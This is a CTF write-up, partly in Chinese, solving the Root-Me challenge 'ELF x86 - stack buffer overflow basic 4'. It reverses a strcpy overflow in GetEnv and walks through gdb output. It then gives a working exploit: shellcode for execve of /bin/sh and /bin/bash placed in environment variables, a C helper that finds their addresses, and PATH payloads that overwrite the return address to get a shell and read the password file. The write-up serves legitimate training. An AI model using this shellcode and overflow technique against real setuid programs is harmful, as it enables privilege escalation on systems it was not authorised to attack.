ELF x86 - stack buffer overflow basic 4

ELF x86 - stack buffer overflow basic 4

参考:

  1. https://github.com/s1syphu5/RootMe-Challenges/tree/master/System/ELF%20x86%20-%20Stack%20buffer%20overflow%20basic%204
  2. https://gitlab.com/rsheasby/root-me-app-system/-/blob/master/09.%20ELF%20x86%20-%20Stack%20buffer%20overflow%20basic%204/instructions.md
  3. http://showlinkroom.me/2017/12/04/Root-me-App-System02/
  4. https://www.root-me.org/en/Challenges/App-System/ELF-x86-Stack-buffer-overflow-basic-4?action_solution=voir#ancre_solution

逆向

struct EnvInfo GetEnv(void){} 中有strcpy()函数,存在溢出点。

            +----------------------------+
            |      HOME env variable     |     %ebp - 540
            +----------------------------+
            |    USERNAME env variable   |     %ebp - 412
            +----------------------------+
            |      SHELL env variable    |     %ebp - 284
            +----------------------------+
            |      PATH env variable     |     %ebp - 156
            +----------------------------+
            |           saved ebp        |
            +----------------------------+
            |        return address      |     %ebp + 4
            +----------------------------+
            |   rep movsl dest. address  |     %ebp + 8
            +----------------------------+  

Since 540 - 128 = 412, 412 - 128 = 284 and 284 - 128 = 156, we get the following stack summary:

  • %ebp - 540​ | env.home​​ ​​
  • %ebp - 412 | env.username
  • %ebp - 284 | env.shell
  • %ebp - 156 | env.path
  • %ebp | saved frame pointer
  • %ebp + 4 | saved EIP
  • %ebp + 8 | rep movsl destination address

var char *dest @ ebp-0x21c

0x08048590 e8dbfdffff sym.imp.strcpy ();[og] 第二次的赋值,USERNAME

gdb-peda$ x/101xw 0xbffff3cc 存输入值
0xbffff3cc:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff3dc:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff3ec:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff3fc:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff40c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff41c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff42c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff43c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff44c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff45c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff46c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff47c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff48c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff49c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff4ac:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff4bc:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff4cc:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff4dc:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff4ec:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff4fc:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff50c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff51c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff52c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff53c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff54c:     0x61616161      0x61616161      0x61616161      0x61616161
0xbffff55c:     0x0804a000

EAX: 0xbffff44c ('a' <repeats 200 times>...)
存shell 字符串

EAX: 0xbffff4cc ('a' <repeats 128 times>, "e\377\377\277", 'a' <repeats 12 times>)
放path

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gdb-peda$ disas GetEnv
[...] # How much memory is allocated?
0x080484aa <+6>: sub $0x22c,%esp # (1)
[...] # Let's see what happens after the last 'strcpy' call...
0x080485c0 <+284>: call 0x8048390 <strcpy@plt>
0x080485c5 <+289>: mov 0x8(%ebp),%eax # (2-dest)
0x080485c8 <+292>: lea -0x21c(%ebp),%edx # (3-source)
0x080485ce <+298>: mov $0x200,%ebx # (4-length)
[...] # Some alignment details skipped...
0x08048602 <+350>: mov %ebx,%ecx # (4-length)
0x08048604 <+352>: shr $0x2,%ecx # (4-length)
0x08048607 <+355>: mov %eax,%edi # (2-dest)
0x08048609 <+357>: mov %edx,%esi # (3-source)
0x0804860b <+359>: rep movsl %ds:(%esi),%es:(%edi)
  • program allocates 0x22c = 556 bytes (an EnvInfo struct is around 512 bytes long),

  • rep movsl … instruction at the end of the function, which consists of copying n long words **from %esi to %edi, with n being the value stored in **%ecx ;

  • it loads an address located at %ebp + 8 into the %edi register (destination address)

  • it loads the address of %ebp - 540 (0x21c = 540) into the %esi register (source address)

  • %ecx is initially set to 0x200(512) **and then **divided by 4 (shr $2), i.e., %ecx equals 128. Hence, 128 long (4-bytes) words will be copied, resulting in the 512 bytes of the 4 buffers of an EnvInfo struct.

    in order to output its EnvInfo struct, GetEnv creates a local struct where it stores the data first, and then, in its prologue**, GetEnv actually replicates the local struct into a “remote” struct, located at the address read **at %ebp + 8
    还要复制结构体

$PATH=$(python -c 'print "/usr/local/bin:" + "A" * (164-16)') peda -ex "run" ./ch8
这命令

如果打印420(412+4 =416 在这里输入4个字节,总长变为420) a,溢出

gdb-peda$ x/16xb 0xbffff55c
0xbffff55c:     0x61    0x61    0x61    0x61    0x00    0xf5    0xff    0xbf

path后面跟着一个null \00
会改变指针值,结构体赋值到$ebp+8指向的地址处

打印416 a

0xbffff55c:     0x08048600      0xbffff570

没有改变ebp+8
这个地址是main中env结构体地址

或者重新分配512字节可写空间

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[]) {
char * ptr;
if(argc<3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
}

cd /tmp; gcc -m32 -o find_env find_env.c; cd -

app-systeme-ch8@challenge02:~$ export SHELLCODE=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'"`
app-systeme-ch8@challenge02:~$ export JUNK=`python -c "print 'B' * 1000"`
app-systeme-ch8@challenge02:~$ /tmp/find_env SHELLCODE ./ch8
SHELLCODE will be at 0xbffff931
app-systeme-ch8@challenge02:~$ /tmp/find_env JUNK ./ch8
JUNK will be at 0xbffffb2b

export PATH=python -c “print ‘A’*160 + ‘\x31\xf9\xff\xbf’ + ‘\x2b\xfb\xff\xbf’”``


我们将shellcode放在USERNAME上,我试了几个shellcode,只有这个有用,

export USERNAME=`python -c 'print("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")'`

总长33字节

然后溢出PATH,要保证$ebp+8的值不变(小端序),
path长119,再填充一个,保持为4的倍数,

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/:`python -c 'print("\x6c\xf5\xff\xbf"*11+"\x50\xf7\xff\xbf")'`

0xbfff56c是USERNAME地址,0xbffff750是$ebp+8的值,现在PATH总长168。

app-systeme-ch8@challenge02:~$ ./ch8
[+] Getting env...
bash-4.4$ cat .passwd

学到的命令

设置环境变量

export USERNAME=

gdb中
set env USERNAME=

查看
x/x env.path

查看环境变量长度

echo ${#PATH}


gdb-peda$ print $ebp-0xbffff55c

disas GetEnv